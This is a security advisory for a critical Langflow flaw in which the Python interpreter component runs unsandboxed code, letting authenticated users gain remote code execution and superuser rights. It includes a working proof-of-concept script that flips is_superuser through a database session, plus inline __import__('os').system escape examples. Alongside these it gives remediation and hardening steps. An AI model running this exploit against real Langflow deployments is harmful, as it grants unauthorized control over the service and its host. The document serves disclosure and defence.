---
id: CVE-2026-10561
aliases:
  - GHSA-8qpj-27x8-pwpq
title: >-
  Langflow: PythonREPLComponent executes unsandboxed Python code, enabling
  authenticated RCE and privilege escalation
summary: >-
  Langflow: PythonREPLComponent executes unsandboxed Python code, enabling
  authenticated RCE and privilege escalation
severity: critical
cvss: 9.9
cwe:
  - CWE-94
  - CWE-95
  - CWE-266
vendor: langflow
product: langflow
ecosystem: pip
affected:
  - langflow < 1.10.1
patched:
  - langflow 1.10.1
published: '2026-10-06'
updated: '2026-10-06'
sourceUpdated: '2026-10-06T13:38:29Z'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-8qpj-27x8-pwpq'
references:
  - url: >-
      https://github.com/langflow-ai/langflow/security/advisories/GHSA-8qpj-27x8-pwpq
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-10561'
  - url: 'https://github.com/langflow-ai/langflow/pull/13700'
  - url: >-
      https://github.com/langflow-ai/langflow/commit/2754c84aad1306f463db1c3bbb3e8ffbe85da77d
  - url: 'https://github.com/langflow-ai/langflow/releases/tag/v1.10.1'
  - url: 'https://www.ibm.com/support/pages/node/7277242'
  - url: 'https://github.com/advisories/GHSA-8qpj-27x8-pwpq'
tags:
  - ghsa
  - pip
epss: 0.01003
epssPercentile: 0.61676
ingestedAt: '2026-10-06T14:00:19.135Z'
---

## Overview

### Summary

Langflow's built-in Python interpreter components — `PythonREPLComponent` (Python Interpreter) and the legacy `PythonREPLToolComponent` (Python REPL Tool) — executed arbitrary user- or model-supplied Python code inside flows without effective sandboxing. Because the code ran in-process with the privileges of the Langflow service, any **authenticated** user who could edit and run a flow could achieve remote code execution and, from there, escalate privileges to superuser (e.g. by opening a database session and flipping `is_superuser`) or compromise the host.

**This issue is fixed as of 1.10.1**, with additional hardening through 1.12.3. See *Remediation* below.

### Affected

- **Package:** `langflow` (PyPI), and the underlying `lfx` package that ships the component.
- **Vulnerable versions:** `< 1.10.1`.
- **Patched:** `1.10.1` (core fix). Upgrade to `>= 1.12.3` for the complete hardening series.

### Details

The root cause is **code injection** (CWE-94/CWE-95): the component passed raw input to LangChain's `PythonREPL`, which is explicitly *not* a security sandbox.

Two distinct weaknesses existed before 1.10.1:

1. **Unrestricted builtins (default deployments).** `get_globals()` built the `exec` globals from the `global_imports` allow-list but never set `__builtins__`. CPython's `exec()` then auto-injected the full `builtins` module, leaving `__import__`, `open`, `eval`, `exec` and the whole import machinery reachable regardless of the allow-list — e.g. `__import__("os").system(...)` or `__import__("subprocess").check_output([...])`. This made the "only modules in Global Imports can be used" guarantee false, and it applied even with the **default** configuration (`allow_custom_components=True`).

2. **No server-policy gate (locked-down deployments).** Even a deployment hardened with `allow_custom_components=False` could still run interpreter code, because the components did not consult that policy before executing.

Both let an authenticated user run the reported PoC, which opens a DB session and sets `is_superuser = True` on their account, or writes to the filesystem / runs OS commands with the service's privileges.

### PoC (as reported)

1. Authenticate as a normal user.
2. Create a flow with the `PythonREPLComponent`.
3. Execute Python that imports Langflow internals and elevates the account:

```python
import asyncio
from sqlmodel import select
from langflow.services.database.models.user.model import User
from langflow.services.deps import session_scope

async def escalate():
    async with session_scope() as session:
        stmt = select(User).where(User.username == 'testuser')
        user = (await session.exec(stmt)).first()
        if user:
            user.is_superuser = True
            session.add(user)
            await session.commit()

asyncio.run(escalate())
```

### Impact

Any authenticated user could:
- Execute arbitrary Python / OS commands with the Langflow service's privileges (RCE).
- Escalate their own account to superuser via direct database access.
- Read/modify data and configuration, and potentially pivot to the underlying host.

### Remediation

Upgrade to **Langflow 1.10.1 or later** (preferably **>= 1.12.3**). The interpreter components were hardened with layered, defense-in-depth controls, applied in `run_python_repl()` before any code is executed:

- **Restricted builtins** — `get_globals()` injects a curated `safe_builtins()` mapping, removing `__import__`, `eval`, `exec`, `compile`, `open`, `input`, `globals`/`locals`/`vars`, `getattr`/`setattr`, etc. (#13397)
- **AST validation** — `validate_code_safety()` rejects inline `import`/`from ... import`, dunder/escape-gadget attribute access (`__class__`, `__subclasses__`, `__globals__`, frame/traceback introspection) and format-string dunder traversal. (#13397)
- **Server-policy gate** — `ensure_code_execution_enabled()` refuses to run when `allow_custom_components=False` or `block_code_interpreter_components=True`, and **fails closed** if the settings stack cannot be resolved. (#13700 — this advisory — and #14375)
- **Allow-listed module proxies** — imported modules are exposed via a proxy that blocks reaching `sys.modules["os"]` through a module's transitive import graph. (#15198)
- **Optional hardware isolation** — configure `LANGFLOW_SANDBOX_BACKEND` to run interpreter code in an isolated microVM instead of in-process. (#14400)

Upstream fix references: #13397, #13700 (carries this GHSA), #14375, #14400, #15198.

### Hardening recommendations for operators

- Keep Langflow updated (>= 1.12.3).
- For locked-down deployments, set `LANGFLOW_ALLOW_CUSTOM_COMPONENTS=false` (or `LANGFLOW_BLOCK_CODE_INTERPRETER_COMPONENTS=true`) to disable the interpreter entirely.
- For deployments that must run untrusted code, configure `LANGFLOW_SANDBOX_BACKEND` for microVM isolation.
- Run the Langflow service as an unprivileged user with least-privilege database credentials.

## Affected packages

- `langflow < 1.10.1`

## Remediation

Upgrade to a patched release:

- `langflow 1.10.1`